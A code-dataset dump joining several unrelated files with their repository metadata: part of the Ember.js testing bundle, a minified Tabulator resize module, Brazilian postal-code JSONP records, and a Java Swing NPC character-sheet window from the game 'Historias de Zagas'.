};
}
}); // Try again to verify that the patch took effect or blow up.
testCheckboxClick(function () {
(true && (0, _debug.warn)("clicked checkboxes should be checked! the jQuery patch didn't work", this.checked, {
id: 'ember-testing.test-checkbox-click'
}));
});
});
}
});
define("ember-testing/lib/test", ["exports", "ember-testing/lib/test/helpers", "ember-testing/lib/test/on_inject_helpers", "ember-testing/lib/test/promise", "ember-testing/lib/test/waiters", "ember-testing/lib/test/adapter"], function (_exports, _helpers, _on_inject_helpers, _promise, _waiters, _adapter) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = void 0;
/**
@module ember
*/
/**
This is a container for an assortment of testing related functionality:
* Choose your default test adapter (for your framework of choice).
* Register/Unregister additional test helpers.
* Setup callbacks to be fired when the test helpers are injected into
your application.
@class Test
@namespace Ember
@public
*/
var Test = {
/**
Hash containing all known test helpers.
@property _helpers
@private
@since 1.7.0
*/
_helpers: _helpers.helpers,
registerHelper: _helpers.registerHelper,
registerAsyncHelper: _helpers.registerAsyncHelper,
unregisterHelper: _helpers.unregisterHelper,
onInjectHelpers: _on_inject_helpers.onInjectHelpers,
Promise: _promise.default,
promise: _promise.promise,
resolve: _promise.resolve,
registerWaiter: _waiters.registerWaiter,
unregisterWaiter: _waiters.unregisterWaiter,
checkWaiters: _waiters.checkWaiters
};
/**
Used to allow ember-testing to communicate with a specific testing
framework.
You can manually set it before calling `App.setupForTesting()`.
Example:
```javascript
Ember.Test.adapter = MyCustomAdapter.create()
```
If you do not set it, ember-testing will default to `Ember.Test.QUnitAdapter`.
@public
@for Ember.Test
@property adapter
@type {Class} The adapter to be used.
@default Ember.Test.QUnitAdapter
*/
Object.defineProperty(Test, 'adapter', {
get: _adapter.getAdapter,
set: _adapter.setAdapter
});
var _default = Test;
_exports.default = _default;
});
define("ember-testing/lib/test/adapter", ["exports", "@ember/-internals/error-handling"], function (_exports, _errorHandling) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.getAdapter = getAdapter;
_exports.setAdapter = setAdapter;
_exports.asyncStart = asyncStart;
_exports.asyncEnd = asyncEnd;
var adapter;
function getAdapter() {
return adapter;
}
function setAdapter(value) {
adapter = value;
if (value && typeof value.exception === 'function') {
(0, _errorHandling.setDispatchOverride)(adapterDispatch);
} else {
(0, _errorHandling.setDispatchOverride)(null);
}
}
function asyncStart() {
if (adapter) {
adapter.asyncStart();
}
}
function asyncEnd() {
if (adapter) {
adapter.asyncEnd();
}
}
function adapterDispatch(error) {
adapter.exception(error);
console.error(error.stack); // eslint-disable-line no-console
}
});
define("ember-testing/lib/test/helpers", ["exports", "ember-testing/lib/test/promise"], function (_exports, _promise) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.registerHelper = registerHelper;
_exports.registerAsyncHelper = registerAsyncHelper;
_exports.unregisterHelper = unregisterHelper;
_exports.helpers = void 0;
var helpers = {};
/**
@module @ember/test
*/
/**
`registerHelper` is used to register a test helper that will be injected
when `App.injectTestHelpers` is called.
The helper method will always be called with the current Application as
the first parameter.
For example:
```javascript
import { registerHelper } from '@ember/test';
import { run } from '@ember/runloop';
registerHelper('boot', function(app) {
run(app, app.advanceReadiness);
});
```
This helper can later be called without arguments because it will be
called with `app` as the first parameter.
```javascript
import Application from '@ember/application';
App = Application.create();
App.injectTestHelpers();
boot();
```
@public
@for @ember/test
@static
@method registerHelper
@param {String} name The name of the helper method to add.
@param {Function} helperMethod
@param options {Object}
*/
_exports.helpers = helpers;
function registerHelper(name, helperMethod) {
helpers[name] = {
method: helperMethod,
meta: {
wait: false
}
};
}
/**
`registerAsyncHelper` is used to register an async test helper that will be injected
when `App.injectTestHelpers` is called.
The helper method will always be called with the current Application as
the first parameter.
For example:
```javascript
import { registerAsyncHelper } from '@ember/test';
import { run } from '@ember/runloop';
registerAsyncHelper('boot', function(app) {
run(app, app.advanceReadiness);
});
```
The advantage of an async helper is that it will not run
until the last async helper has completed. All async helpers
after it will wait for it complete before running.
For example:
```javascript
import { registerAsyncHelper } from '@ember/test';
registerAsyncHelper('deletePost', function(app, postId) {
click('.delete-' + postId);
});
// ... in your test
visit('/post/2');
deletePost(2);
visit('/post/3');
deletePost(3);
```
@public
@for @ember/test
@method registerAsyncHelper
@param {String} name The name of the helper method to add.
@param {Function} helperMethod
@since 1.2.0
*/
function registerAsyncHelper(name, helperMethod) {
helpers[name] = {
method: helperMethod,
meta: {
wait: true
}
};
}
/**
Remove a previously added helper method.
Example:
```javascript
import { unregisterHelper } from '@ember/test';
unregisterHelper('wait');
```
@public
@method unregisterHelper
@static
@for @ember/test
@param {String} name The helper to remove.
*/
function unregisterHelper(name) {
delete helpers[name];
delete _promise.default.prototype[name];
}
});
define("ember-testing/lib/test/on_inject_helpers", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.onInjectHelpers = onInjectHelpers;
_exports.invokeInjectHelpersCallbacks = invokeInjectHelpersCallbacks;
_exports.callbacks = void 0;
var callbacks = [];
/**
Used to register callbacks to be fired whenever `App.injectTestHelpers`
is called.
The callback will receive the current application as an argument.
Example:
```javascript
import $ from 'jquery';
Ember.Test.onInjectHelpers(function() {
$(document).ajaxSend(function() {
Test.pendingRequests++;
});
$(document).ajaxComplete(function() {
Test.pendingRequests--;
});
});
```
@public
@for Ember.Test
@method onInjectHelpers
@param {Function} callback The function to be called.
*/
_exports.callbacks = callbacks;
function onInjectHelpers(callback) {
callbacks.push(callback);
}
function invokeInjectHelpersCallbacks(app) {
for (var i = 0; i < callbacks.length; i++) {
callbacks[i](app);
}
}
});
define("ember-testing/lib/test/pending_requests", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.pendingRequests = pendingRequests;
_exports.clearPendingRequests = clearPendingRequests;
_exports.incrementPendingRequests = incrementPendingRequests;
_exports.decrementPendingRequests = decrementPendingRequests;
var requests = [];
function pendingRequests() {
return requests.length;
}
function clearPendingRequests() {
requests.length = 0;
}
function incrementPendingRequests(_, xhr) {
requests.push(xhr);
}
function decrementPendingRequests(_, xhr) {
setTimeout(function () {
for (var i = 0; i < requests.length; i++) {
if (xhr === requests[i]) {
requests.splice(i, 1);
break;
}
}
}, 0);
}
});
define("ember-testing/lib/test/promise", ["exports", "@ember/-internals/runtime", "ember-testing/lib/test/run"], function (_exports, _runtime, _run) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.promise = promise;
_exports.resolve = resolve;
_exports.getLastPromise = getLastPromise;
_exports.default = void 0;
var lastPromise;
class TestPromise extends _runtime.RSVP.Promise {
constructor() {
super(...arguments);
lastPromise = this;
}
then(_onFulfillment, ...args) {
var onFulfillment = typeof _onFulfillment === 'function' ? result => isolate(_onFulfillment, result) : undefined;
return super.then(onFulfillment, ...args);
}
}
/**
This returns a thenable tailored for testing. It catches failed
`onSuccess` callbacks and invokes the `Ember.Test.adapter.exception`
callback in the last chained then.
This method should be returned by async helpers such as `wait`.
@public
@for Ember.Test
@method promise
@param {Function} resolver The function used to resolve the promise.
@param {String} label An optional string for identifying the promise.
*/
_exports.default = TestPromise;
function promise(resolver, label) {
var fullLabel = `Ember.Test.promise: ${label || '<Unknown Promise>'}`;
return new TestPromise(resolver, fullLabel);
}
/**
Replacement for `Ember.RSVP.resolve`
The only difference is this uses
an instance of `Ember.Test.Promise`
@public
@for Ember.Test
@method resolve
@param {Mixed} The value to resolve
@since 1.2.0
*/
function resolve(result, label) {
return TestPromise.resolve(result, label);
}
function getLastPromise() {
return lastPromise;
} // This method isolates nested async methods
// so that they don't conflict with other last promises.
//
// 1. Set `Ember.Test.lastPromise` to null
// 2. Invoke method
// 3. Return the last promise created during method
function isolate(onFulfillment, result) {
// Reset lastPromise for nested helpers
lastPromise = null;
var value = onFulfillment(result);
var promise = lastPromise;
lastPromise = null; // If the method returned a promise
// return that promise. If not,
// return the last async helper's promise
if (value && value instanceof TestPromise || !promise) {
return value;
} else {
return (0, _run.default)(() => resolve(promise).then(() => value));
}
}
});
define("ember-testing/lib/test/run", ["exports", "@ember/runloop"], function (_exports, _runloop) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.default = run;
function run(fn) {
if (!(0, _runloop._getCurrentRunLoop)()) {
return (0, _runloop.run)(fn);
} else {
return fn();
}
}
});
define("ember-testing/lib/test/waiters", ["exports"], function (_exports) {
"use strict";
Object.defineProperty(_exports, "__esModule", {
value: true
});
_exports.registerWaiter = registerWaiter;
_exports.unregisterWaiter = unregisterWaiter;
_exports.checkWaiters = checkWaiters;
/**
@module @ember/test
*/
var contexts = [];
var callbacks = [];
/**
This allows ember-testing to play nicely with other asynchronous
events, such as an application that is waiting for a CSS3
transition or an IndexDB transaction. The waiter runs periodically
after each async helper (i.e. `click`, `andThen`, `visit`, etc) has executed,
until the returning result is truthy. After the waiters finish, the next async helper
is executed and the process repeats.
For example:
```javascript
import { registerWaiter } from '@ember/test';
registerWaiter(function() {
return myPendingTransactions() === 0;
});
```
The `context` argument allows you to optionally specify the `this`
with which your callback will be invoked.
For example:
```javascript
import { registerWaiter } from '@ember/test';
registerWaiter(MyDB, MyDB.hasPendingTransactions);
```
@public
@for @ember/test
@static
@method registerWaiter
@param {Object} context (optional)
@param {Function} callback
@since 1.2.0
*/
function registerWaiter(context, callback) {
if (arguments.length === 1) {
callback = context;
context = null;
}
if (indexOf(context, callback) > -1) {
return;
}
contexts.push(context);
callbacks.push(callback);
}
/**
`unregisterWaiter` is used to unregister a callback that was
registered with `registerWaiter`.
@public
@for @ember/test
@static
@method unregisterWaiter
@param {Object} context (optional)
@param {Function} callback
@since 1.2.0
*/
function unregisterWaiter(context, callback) {
if (!callbacks.length) {
return;
}
if (arguments.length === 1) {
callback = context;
context = null;
}
var i = indexOf(context, callback);
if (i === -1) {
return;
}
contexts.splice(i, 1);
callbacks.splice(i, 1);
}
/**
Iterates through each registered test waiter, and invokes
its callback. If any waiter returns false, this method will return
true indicating that the waiters have not settled yet.
This is generally used internally from the acceptance/integration test
infrastructure.
@public
@for @ember/test
@static
@method checkWaiters
*/
function checkWaiters() {
if (!callbacks.length) {
return false;
}
for (var i = 0; i < callbacks.length; i++) {
var context = contexts[i];
var callback = callbacks[i];
if (!callback.call(context)) {
return true;
}
}
return false;
}
function indexOf(context, callback) {
for (var i = 0; i < callbacks.length; i++) {
if (callbacks[i] === callback && contexts[i] === context) {
return i;
}
}
return -1;
}
});
require('ember-testing');
}());
//# sourceMappingURL=ember-testing.map
|
mit
|
cdnjs/cdnjs
|
ajax/libs/tabulator/4.5.1/js/modules/resize_table.min.js
|
797
|
/* Tabulator v4.5.1 (c) Oliver Folkerd */
var ResizeTable=function(e){this.table=e,this.binding=!1,this.observer=!1};ResizeTable.prototype.initialize=function(e){var i=this.table;"undefined"!=typeof ResizeObserver&&"virtual"===i.rowManager.getRenderMode()?(this.observer=new ResizeObserver(function(e){(!i.browserMobile||browserMobile&&!i.modules.edit.currentCell)&&i.redraw()}),this.observer.observe(i.element)):(this.binding=function(){(!i.browserMobile||browserMobile&&!i.modules.edit.currentCell)&&i.redraw()},window.addEventListener("resize",this.binding))},ResizeTable.prototype.clearBindings=function(e){this.binding&&window.removeEventListener("resize",this.binding),this.observer&&this.observer.unobserve(this.table.element)},Tabulator.prototype.registerModule("resizeTable",ResizeTable);
|
mit
|
lfreneda/cepdb
|
api/v1/68508435.jsonp.js
|
142
|
jsonp({"cep":"68508435","logradouro":"Quadra Vinte e Um","bairro":"Nova Marab\u00e1","cidade":"Marab\u00e1","uf":"PA","estado":"Par\u00e1"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/13105036.jsonp.js
|
166
|
jsonp({"cep":"13105036","logradouro":"Rua Rei Salom\u00e3o","bairro":"Jardim Concei\u00e7\u00e3o (Sousas)","cidade":"Campinas","uf":"SP","estado":"S\u00e3o Paulo"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/77020114.jsonp.js
|
146
|
jsonp({"cep":"77020114","logradouro":"Quadra 108 Sul Alameda 12","bairro":"Plano Diretor Sul","cidade":"Palmas","uf":"TO","estado":"Tocantins"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/68513677.jsonp.js
|
152
|
jsonp({"cep":"68513677","logradouro":"Rua S\u00e3o Francisco","bairro":"S\u00e3o F\u00e9lix I","cidade":"Marab\u00e1","uf":"PA","estado":"Par\u00e1"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/41306005.jsonp.js
|
159
|
jsonp({"cep":"41306005","logradouro":"Travessa Jerusal\u00e9m","bairro":"Nova Bras\u00edlia de Val\u00e9ria","cidade":"Salvador","uf":"BA","estado":"Bahia"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/24358410.jsonp.js
|
141
|
jsonp({"cep":"24358410","logradouro":"Rua das Tainhas","bairro":"Piratininga","cidade":"Niter\u00f3i","uf":"RJ","estado":"Rio de Janeiro"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/86812700.jsonp.js
|
150
|
jsonp({"cep":"86812700","logradouro":"Rua Afonso Jos\u00e9 Costa","bairro":"Jardim Santiago","cidade":"Apucarana","uf":"PR","estado":"Paran\u00e1"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/23850180.jsonp.js
|
140
|
jsonp({"cep":"23850180","logradouro":"Rua P\u00e1tria","bairro":"Seropedica","cidade":"Itagua\u00ed","uf":"RJ","estado":"Rio de Janeiro"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/96083110.jsonp.js
|
150
|
jsonp({"cep":"96083110","logradouro":"Rua Cidade de Faro","bairro":"Recanto de Portugal","cidade":"Pelotas","uf":"RS","estado":"Rio Grande do Sul"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/78115320.jsonp.js
|
154
|
jsonp({"cep":"78115320","logradouro":"Rua Major Jo\u00e3o Vieira","bairro":"Construmat","cidade":"V\u00e1rzea Grande","uf":"MT","estado":"Mato Grosso"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/72420260.jsonp.js
|
152
|
jsonp({"cep":"72420260","logradouro":"Quadra Quadra 26","bairro":"Setor Oeste (Gama)","cidade":"Bras\u00edlia","uf":"DF","estado":"Distrito Federal"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/30575340.jsonp.js
|
159
|
jsonp({"cep":"30575340","logradouro":"Rua David Maur\u00edlio Mour\u00e3o","bairro":"Palmeiras","cidade":"Belo Horizonte","uf":"MG","estado":"Minas Gerais"});
|
cc0-1.0
|
lfreneda/cepdb
|
api/v1/04142020.jsonp.js
|
142
|
jsonp({"cep":"04142020","logradouro":"Rua Guair\u00e1","bairro":"Sa\u00fade","cidade":"S\u00e3o Paulo","uf":"SP","estado":"S\u00e3o Paulo"});
|
cc0-1.0
|
ZagasTales/HistoriasdeZagas
|
src Graf/es/thesinsprods/zagastales/juegozagas/jugar/master/npc6/NPC6.java
|
20564
|
package es.thesinsprods.zagastales.juegozagas.jugar.master.npc6;
import java.awt.EventQueue;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.net.Socket;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import java.util.ArrayList;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JProgressBar;
import javax.swing.JTextField;
import es.thesinsprods.resources.db.ConexionDBOnline;
import es.thesinsprods.resources.font.MorpheusFont;
import es.thesinsprods.zagastales.characters.Characters;
import es.thesinsprods.zagastales.characters.OutOfPointsException;
import es.thesinsprods.zagastales.characters.atributes.AtributeOutOfBoundsException;
import es.thesinsprods.zagastales.characters.atributes.AtributePoints;
import es.thesinsprods.zagastales.characters.atributes.Atributes;
import es.thesinsprods.zagastales.characters.blessings.Blessing;
import es.thesinsprods.zagastales.characters.equipment.Accesories;
import es.thesinsprods.zagastales.characters.equipment.Armor;
import es.thesinsprods.zagastales.characters.equipment.Cloak;
import es.thesinsprods.zagastales.characters.equipment.Earrings;
import es.thesinsprods.zagastales.characters.equipment.Equipment;
import es.thesinsprods.zagastales.characters.equipment.Misc;
import es.thesinsprods.zagastales.characters.equipment.Necklace;
import es.thesinsprods.zagastales.characters.equipment.OneHanded;
import es.thesinsprods.zagastales.characters.equipment.Pole;
import es.thesinsprods.zagastales.characters.equipment.Possesions;
import es.thesinsprods.zagastales.characters.equipment.Ranged;
import es.thesinsprods.zagastales.characters.equipment.Rings;
import es.thesinsprods.zagastales.characters.equipment.Shields;
import es.thesinsprods.zagastales.characters.equipment.TwoHanded;
import es.thesinsprods.zagastales.characters.equipment.Weapons;
import es.thesinsprods.zagastales.characters.privileges.PrivilegeOutOfBoundsException;
import es.thesinsprods.zagastales.characters.privileges.Privileges;
import es.thesinsprods.zagastales.characters.privileges.Setbacks;
import es.thesinsprods.zagastales.characters.race.Race;
import es.thesinsprods.zagastales.characters.skills.CombatSkills;
import es.thesinsprods.zagastales.characters.skills.KnowHowSkills;
import es.thesinsprods.zagastales.characters.skills.KnowledgeSkills;
import es.thesinsprods.zagastales.characters.skills.MagicSkills;
import es.thesinsprods.zagastales.characters.skills.SkillOutOfBoundsException;
import es.thesinsprods.zagastales.characters.skills.SkillPoints;
import es.thesinsprods.zagastales.juegozagas.inicio.Inicio;
import es.thesinsprods.zagastales.juegozagas.inicio.Loader;
import es.thesinsprods.zagastales.juegozagas.jugar.BuscarPartida;
import es.thesinsprods.zagastales.juegozagas.jugar.master.JugarOnline;
import javax.swing.JButton;
import javax.swing.JScrollPane;
import javax.swing.JTextArea;
import java.awt.event.ActionListener;
import java.awt.event.ActionEvent;
import java.awt.event.KeyAdapter;
import java.awt.event.KeyEvent;
import javax.swing.JLabel;
import java.awt.Font;
import java.awt.Color;
import java.awt.Desktop;
import javax.swing.SwingConstants;
import javax.swing.ImageIcon;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import java.awt.Toolkit;
import javax.swing.border.BevelBorder;
public class NPC6 {
MorpheusFont mf = new MorpheusFont();
final ConexionDBOnline con = new ConexionDBOnline();
final Connection p = con.accederDB();
final Statement tabla=p.createStatement();
private JFrame frmHistoriasDeZagas;
public static int saludM;
public static int energiaM;
public static int manaM;
JProgressBar progressBar = new JProgressBar();
JProgressBar progressBar_2 = new JProgressBar();
JProgressBar progressBar_1 = new JProgressBar();
public JFrame getFrame() {
return frmHistoriasDeZagas;
}
public void setFrame(JFrame frame) {
this.frmHistoriasDeZagas = frame;
}
private JTextField textField_1;
/**
* Launch the application.
*/
public static void main(String[] args) {
EventQueue.invokeLater(new Runnable() {
public void run() {
try {
NPC6 window = new NPC6();
window.frmHistoriasDeZagas.setVisible(true);
} catch (Exception e) {
e.printStackTrace();
}
}
});
}
/**
* Create the application.
* @throws SQLException
* @throws IOException
* @throws IllegalAccessException
* @throws InstantiationException
* @throws ClassNotFoundException
*/
public NPC6() throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, SQLException {
initialize();
}
/**
* Initialize the contents of the frame.
* @throws IOException
* @throws IllegalAccessException
* @throws InstantiationException
* @throws ClassNotFoundException
* @throws SQLException
*/
private void initialize() throws ClassNotFoundException, InstantiationException, IllegalAccessException, IOException, SQLException {
frmHistoriasDeZagas = new JFrame();
frmHistoriasDeZagas.setTitle("Historias de Zagas");
frmHistoriasDeZagas.setIconImage(Toolkit.getDefaultToolkit().getImage(NPC6.class.getResource("/images/Historias de Zagas, logo.png")));
frmHistoriasDeZagas.setResizable(false);
frmHistoriasDeZagas.setBounds(100, 100, 590, 346);
frmHistoriasDeZagas.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE);
frmHistoriasDeZagas.getContentPane().setLayout(null);
JLabel label = new JLabel((String) null);
label.setHorizontalAlignment(SwingConstants.CENTER);
label.setText(JugarOnline.npc6.getName());
label.setForeground(Color.WHITE);
label.setFont(mf.MyFont(0, 32));
label.setBounds(25, 11, 549, 53);
frmHistoriasDeZagas.getContentPane().add(label);
JLabel label_1 = new JLabel((String) null);
label_1.setHorizontalAlignment(SwingConstants.CENTER);
label_1.setText(JugarOnline.npc6.getRace().getRace());
label_1.setForeground(Color.WHITE);
label_1.setFont(mf.MyFont(0, 20));
label_1.setBounds(25, 75, 256, 26);
frmHistoriasDeZagas.getContentPane().add(label_1);
JLabel label_2 = new JLabel("Nivel: "+JugarOnline.npc6.getNivel());
label_2.setHorizontalAlignment(SwingConstants.CENTER);
label_2.setForeground(Color.WHITE);
label_2.setFont(mf.MyFont(0, 20));
label_2.setBounds(318, 75, 256, 26);
frmHistoriasDeZagas.getContentPane().add(label_2);
JLabel label_3 = new JLabel("Salud:");
label_3.setForeground(Color.WHITE);
label_3.setFont(mf.MyFont(0, 16));
label_3.setBounds(10, 120, 46, 14);
frmHistoriasDeZagas.getContentPane().add(label_3);
JLabel label_4 = new JLabel("Energ\u00EDa:");
label_4.setForeground(Color.WHITE);
label_4.setFont(mf.MyFont(0, 16));
label_4.setBounds(10, 145, 66, 14);
frmHistoriasDeZagas.getContentPane().add(label_4);
JLabel label_5 = new JLabel("Man\u00E1:");
label_5.setForeground(Color.WHITE);
label_5.setFont(mf.MyFont(0, 16));
label_5.setBounds(10, 170, 46, 14);
frmHistoriasDeZagas.getContentPane().add(label_5);
JLabel label_6 = new JLabel("Edad: "+JugarOnline.npc6.getAge());
label_6.setForeground(Color.WHITE);
label_6.setFont(mf.MyFont(0, 16));
label_6.setBounds(10, 195, 105, 14);
frmHistoriasDeZagas.getContentPane().add(label_6);
JLabel label_7 = new JLabel("Experiencia:");
label_7.setForeground(Color.WHITE);
label_7.setFont(mf.MyFont(0, 16));
label_7.setBounds(10, 223, 105, 14);
frmHistoriasDeZagas.getContentPane().add(label_7);
textField_1 = new JTextField();
textField_1.setEditable(false);
textField_1.setText(""+JugarOnline.npc6.getExperience());
textField_1.setColumns(10);
textField_1.setBounds(102, 220, 60, 20);
frmHistoriasDeZagas.getContentPane().add(textField_1);
progressBar.setForeground(Color.RED);
progressBar.setMaximum(saludM);
progressBar.setValue(JugarOnline.npc6.getLife());
progressBar.setString(progressBar.getValue()+"/"+progressBar.getMaximum());
progressBar.setStringPainted(true);
progressBar.setBackground(Color.WHITE);
progressBar.setBounds(85, 120, 200, 14);
frmHistoriasDeZagas.getContentPane().add(progressBar);
progressBar_2.setValue(JugarOnline.npc6.getEndurance());
progressBar_2.setStringPainted(true);
progressBar_2.setMaximum(energiaM);
progressBar_2.setString(progressBar_2.getValue()+"/"+progressBar_2.getMaximum());
progressBar_2.setForeground(new Color(0, 128, 0));
progressBar_2.setBackground(Color.WHITE);
progressBar_2.setBounds(85, 145, 200, 14);
frmHistoriasDeZagas.getContentPane().add(progressBar_2);
progressBar_1.setValue(JugarOnline.npc6.getMana());
progressBar_1.setStringPainted(true);
progressBar_1.setMaximum(manaM);
progressBar_1.setString(progressBar_1.getValue()+"/"+progressBar_1.getMaximum());
progressBar_1.setForeground(Color.BLUE);
progressBar_1.setBackground(Color.WHITE);
progressBar_1.setBounds(85, 170, 200, 14);
frmHistoriasDeZagas.getContentPane().add(progressBar_1);
final JButton button = new JButton("Atributos");
button.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
AtributosJugadores window = new AtributosJugadores();
window.getFrame().setVisible(true);
}
});
button.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button.setFont(mf.MyFont(0,11));
button.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button.setFocusPainted(false);
button.setContentAreaFilled(false);
button.setBorderPainted(false);
button.setHorizontalTextPosition(SwingConstants.CENTER);
button.setForeground(Color.WHITE);
button.setBounds(318, 120, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button);
final JButton button_1 = new JButton("Extras");
button_1.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
ExtrasJugadores window = new ExtrasJugadores();
window.getFrmHistoriasDeZagas().setVisible(true);
}
});
button_1.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_1.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_1.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_1.setFont(mf.MyFont(0,11));
button_1.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_1.setFocusPainted(false);
button_1.setContentAreaFilled(false);
button_1.setBorderPainted(false);
button_1.setHorizontalTextPosition(SwingConstants.CENTER);
button_1.setForeground(Color.WHITE);
button_1.setBounds(451, 120, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_1);
final JButton button_2 = new JButton("Habilidades");
button_2.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
Object[] personaje={"Combate","Conocimientos","Magia","Destrezas"};
Object seleccion = JOptionPane.showInputDialog(
frmHistoriasDeZagas, "Seleccione una opcion",
"Ver Habilidades", JOptionPane.PLAIN_MESSAGE,
null,personaje,null);
seleccion=seleccion+"";
if(seleccion.equals("Combate")){
CombateJugadores window = new CombateJugadores();
window.getFrame().setVisible(true);
}
if(seleccion.equals("Conocimientos")){
ConocimientosJugadores window = new ConocimientosJugadores();
window.getFrmHistoriasDeZagas().setVisible(true);
}
if(seleccion.equals("Magia")){
MagiaJugadores window = new MagiaJugadores();
window.getFrmHistoriasDeZagas().setVisible(true);
}
if(seleccion.equals("Destrezas")){
DestrezasJugadores window = new DestrezasJugadores();
window.getFrame().setVisible(true);
}
}
});
button_2.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_2.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_2.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_2.setFont(mf.MyFont(0,11));
button_2.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_2.setFocusPainted(false);
button_2.setContentAreaFilled(false);
button_2.setBorderPainted(false);
button_2.setHorizontalTextPosition(SwingConstants.CENTER);
button_2.setForeground(Color.WHITE);
button_2.setBounds(318, 152, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_2);
final JButton button_3 = new JButton("Privilegios");
button_3.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
PrivilegiosJugadores window = new PrivilegiosJugadores();
window.getFrame().setVisible(true);
}
});
button_3.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_3.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_3.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_3.setFont(mf.MyFont(0,11));
button_3.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_3.setFocusPainted(false);
button_3.setContentAreaFilled(false);
button_3.setBorderPainted(false);
button_3.setHorizontalTextPosition(SwingConstants.CENTER);
button_3.setForeground(Color.WHITE);
button_3.setBounds(451, 152, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_3);
final JButton button_4 = new JButton("Equipo");
button_4.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent arg0) {
EquipoJugadores window = new EquipoJugadores();
window.getFrame().setVisible(true);
}
});
button_4.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_4.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_4.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_4.setFont(mf.MyFont(0,11));
button_4.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_4.setFocusPainted(false);
button_4.setContentAreaFilled(false);
button_4.setBorderPainted(false);
button_4.setHorizontalTextPosition(SwingConstants.CENTER);
button_4.setForeground(Color.WHITE);
button_4.setBounds(318, 186, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_4);
final JButton button_5 = new JButton("Reveses");
button_5.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
RevesesJugadores window = new RevesesJugadores();
window.getFrame().setVisible(true);
}
});
button_5.addMouseListener(new MouseAdapter() {
@Override
public void mousePressed(MouseEvent arg0) {
button_5.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj2.png")));
}
@Override
public void mouseReleased(MouseEvent arg0) {
button_5.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
}
});
button_5.setFont(mf.MyFont(0,11));
button_5.setIcon(new ImageIcon(NPC6.class.getResource("/images/boton fichas pj1.png")));
button_5.setFocusPainted(false);
button_5.setContentAreaFilled(false);
button_5.setBorderPainted(false);
button_5.setHorizontalTextPosition(SwingConstants.CENTER);
button_5.setForeground(Color.WHITE);
button_5.setBounds(451, 186, 123, 23);
frmHistoriasDeZagas.getContentPane().add(button_5);
final JButton button_6 = new JButton("Estado");
button_6.addActionListener(new ActionListener() {
public void actionPerformed(ActionEvent e) {
JOptionPane
.showMessageDialog(
frmHistoriasDeZagas,
"El estado del personaje es: "+JugarOnline.npc6.getEstado(),
"", JOptionPane.PLAIN_MESSAGE);
}
});
